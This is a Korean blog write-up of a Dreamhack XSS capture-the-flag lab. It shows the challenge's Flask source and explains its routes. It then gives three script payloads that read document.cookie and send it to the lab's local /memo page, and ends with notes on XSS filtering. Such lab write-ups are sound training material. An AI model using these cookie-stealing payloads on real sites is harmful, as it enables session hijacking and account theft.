๐๏ธAccess
์ฌ๋ฌ ๊ธฐ๋ฅ๊ณผ ์ ๋ ฅ ๋ฐ์ URL์ ํ์ธํ๋ ๋ด์ด ๊ตฌํ๋ ์๋น์ค์ด๋ค. XSS ์ทจ์ฝ์ ์ ์ด์ฉํด ํ๋๊ทธ๋ฅผ ํ๋. ํ๋๊ทธ๋ flag.txt, FLAG ๋ณ์์ ์๋ค.
๐พExploit Algorithm & Payload
#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
import urllib
import os
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read()
except:
FLAG = "[**FLAG**]"
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome("/chromedriver", options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
return param
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
app.run(host="0.0.0.0", port=8000)
#1
'/' ์ธ๋ฑ์ค ํ์ด์ง: ๊ฐ๋จํ ํ๋ฉด, GET ์์ฒญ
'/memo' ํ์ด์ง: ๋ฉ๋ชจ๊ฐ ๊ธฐ๋ก๋๊ณ , GET์์ฒญ,๊ธฐ๋ก๋ ๋ฉ๋ชจ๊ฐ ์ถ๋ ฅ์ด ๋จ(๋จ, ๋ฌธ์์ด๋ก๋ง ์ถ๋ ฅ๋จ)
'/vuln' ํ์ด์ง: GET ์์ฒญ์ ๋ฐ๋ผ ํด๋น ํ๋ผ๋ฏธํฐ๋ฅผ ๋ฐํํ๋ ํ์ด์ง
'/flag' ํ์ด์ง: flag.html์ ๋ฐํ ๋ฐ POST ์์ฒญ์๋ ํ๋ผ๋ฏธํฐ๋ฅผ ๋ฐ์ XSS ๊ณต๊ฒฉ์ด ์กด์ฌํ๋ ์ง ํ์ธํ๊ณ ๊ฒฐ๊ณผ ์ถ๋ ฅ
> '/memo' ํ์ด์ง ์ถ๊ฐ ์ค๋ช
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
: /memo ํ์ด์ง์์ render_template("memo.html", memo=memo_text)์ฝ๋๋ฅผ ํตํด ๋ ๋๋ง
: render_template๋ฅผ ์ด์ฉํด ๋ค๋ฅธ ํ์ผ ๋ฐ ํด๋์ html๊ณผ ์ฐ๋ํ๋ฉฐ ํธ์ถํ๋ ๋ฐฉ์
: ์ฆ, memo.html์ ์์ฑ๋ ํ์ผ ์์ ํ์ด์ง ํ์์ /memo ํ์ด์ง์ memo=memo_text๋ณ์ ๊ฐ์ ํ์ด์ง์ ์ฐ๋
: <script>, <html> ,… ๋ฑ์ ์ฌ์ฉํ์๋๋ฐ HTMLํ์์ ๊ฐ์ผ๋ก ๋ฆฌํด์ด ์ ๋๋๋ฉด ๊ฐ์ด ๋ฆฌํด ๋ ๋, ๊ทธ ๊ฐ๋ค์ด ์น ๋ธ๋ผ์ฐ์ ์์ผ๋ก ๋์ด๊ฐ๋ฉฐ ๋ฌธ์์ด๋ก ์ถ๋ ฅ์ด ๋๊ธฐ ๋๋ฌธ
: ๊ทธ๋ฐ๋ฐ ๋ฌด์กฐ๊ฑด์ ์๋๋ค. HTML ํ์์ผ๋ก ๋ฆฌํด์ ํ ์๋ ์๋๋ฐ ์๋ฅผ ๋ค๋ฉด ๋ฐ์ ์ฝ๋์ ๊ฐ์ด {{ }}๋ฅผ ๋ค์๊ณผ ๊ฐ์ด ์ค์ฒฉ ์ฌ์ฉํ๊ฑฐ๋, ๋ฐ๋ณต์ด๋ ์กฐ๊ฑด๋ฌธ ๊ฐ์ ๋ก์ง์ ์ํํ๊ธฐ ์ํด์๋ {% %}๋ฅผ ์ฌ์ฉํ๋ฉด ๋ณ์๊ฐ์ ํ๋ฉด์ ์ถ๋ ฅ(์น ๋ธ๋ผ์ฐ์ ์ ๋ฌธ์์ด์ด ์๋ ๋ณ์์ ๊ฐ์ผ๋ก ์ถ๋ ฅ)ํ ์ ์๊ฒ ๋จ
refer to...
https://roksf0130.tistory.com/98
#2
: /vuln ํ์ด์ง์์ xss ์ทจ์ฝ์ ์ด ์๋ค๋ ๊ฒ์ ํ์ ํ๋ค. ํ์ง๋ง ๋์์ด ์ด ํ์ด์ง์์๋ง ๋๋ค๋ ๊ฒ์ ์ ์ ์์๋ค.
: /memoํ์ด์ง์์ ํ๋ผ๋ฏธํฐ ๊ฐ์ด ๊ทธ๋๋ก ์คํธ๋ง๊ฐ์ผ๋ก ๋ธ๋ผ์ฐ์ ์์ ์ถ๋ ฅ์ด ๋๋ ๊ฒ์ ํ์ธํ ์ ์์๋ค.
: /flag ํ์ด์ง์์ xss์ทจ์ฝ์ ์ด ์๋ /vulnํ์ด์ง์ ๊ฐ์ผ๋ก ํ๋ผ๋ฏธํฐ์ ๊ฐ์ด ๋ง๋ค์ด๋ ์ ๋ ฅ ์ฐฝ์ด ์๋ค๋ ๊ฒ์ ํ์ธํ์
๋ฐ๋ผ์ falg ํ์ด์ง์์ ์ ๋ ฅํ ๊ฐ์ ํตํด memo ํ์ด์ง์์ ๊ฐ์ ์ป์ ์ ์์ ๊ฒ์ด๋ผ ํ์ ํ๋ค.
#3
<script>window.open("http://127.0.0.1:8000/memo?memo="+document.cookie)</script>
<script>location.href = "http://127.0.0.1:8000/memo?memo="+document.cookie</script>
<script src="x" onerror="location.href='http://127.0.0.1:8000/memo?memo='+document.cookie"></script>
: ์ด๊ฒ ์ด์ธ์๋ ๋ค์ํ ์ต์คํ๋ก์์ด ๊ฐ๋ฅํ ๊ฒ์ผ๋ก ๋ณด์ธ๋ค.(Unicode escape sequence ์ด์ฉํ ์ฐํ, Computed member access ์ฌ์ฉ, javascript ์คํค๋ง ์ ์ฉ, ...)
๐Analysis and results for obtaining the Flag DH{…}
๐Summary
xss(Stored, Reflected, Dom)์ทจ์ฝ์ ์ ์น ์ ํ๋ฆฌ์ผ์ด์ ๋ณ ํน์๋ฌธ์ ๋ฐ ์ด๋ฒคํธ ํธ๋ค๋ฌ ํํฐ๋ง์ ๋ช ํํ ํด์ฃผ๋ ๊ฒ์ด ์ค์ํ๊ณ , ์ฌ๋ฌ๊ฐ์ง xss ์ฐํ๊ธฐ๋ฒ๋ค๋ ํ์ธํ์ฌ ์ ์ฉ์ํฌ ํ์๊ฐ ์๋ค.
location.href = “์ฃผ์” #ํ์ฌ ํ์ด์ง์์ URL ๋ฐํ ๋ฐ ์ ๋ฐ์ดํธ
window.open =(” ”) #์ ํ์ด์ง์์ URL ๋ฐํ ๋ฐ ์ ๋ฐ์ดํธ
document.cookie #์ด ํ๋กํผํฐ๋ฅผ ์ด์ฉํ์ฌ ๋ธ๋ผ์ฐ์ ์์ ์ฟ ํค ์ ๊ทผ
- ํ์ดํธ ๊ธฐ๋ฐ : ํน์ ํ๊ทธ๋ง ์ฌ์ฉํ๊ฒ ๋ค๋ ์๋ฏธ(์ฐํ๊ฐ ์ด๋ ต์ง๋ง ํ์ฉํ ๋ ๋ฌธ์ ๋ฐ์ํ ๊ฒ ๊ฐ์)
- ๋ธ๋๋ฆฌ์คํธ ๊ธฐ๋ฐ : ํน์ ํ๊ทธ๋ง ํํฐ๋ง ํ๋ค๋ ์๋ฏธ(script๋ผ๋ ํ๊ทธ๋ฅผ ๋ง์์ผ๊ฒ ๋ค!๋ผ๊ณ ํ๋ฉด ๊ทธ๊ฒ๋ง ๋ง์์ง)
- property : ์ผ๋ถ ๊ฐ์ฒด ์งํฅ ํ๋ก๊ทธ๋๋ฐ ์ธ์ด์์ ํ๋(๋ฐ์ดํฐ ๋ฉค๋ฒ)์ ๋ฉ์๋ ๊ฐ ๊ธฐ๋ฅ์ ์ค๊ฐ์ธ ํด๋์ค ๋ฉค๋ฒ์ ํน์ํ ์ ํ ํ๋กํผํฐ์ ์ฝ๊ธฐ์ ์ฐ๊ธฐ๋ ์ผ๋ฐ์ ์ผ๋ก ๊ฒํฐ(getter)์ ์ธํฐ(setter) ๋ฉ์๋ ํธ์ถ๋ก ๋ณํ
'[Dreamhack]WebHacking > ๋ก๋๋งต_Basic' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[Dreamhack] Level1: csrf-2 (0) | 2023.08.21 |
---|---|
[Dreamhack] Level1: csrf-1 (0) | 2023.08.21 |
[Dreamhack] Level1: xss-2 (0) | 2023.08.19 |
[Dreamhack] Level1: Session-basic (0) | 2023.08.17 |
[Dreamhack] Level1: cookie (0) | 2023.08.17 |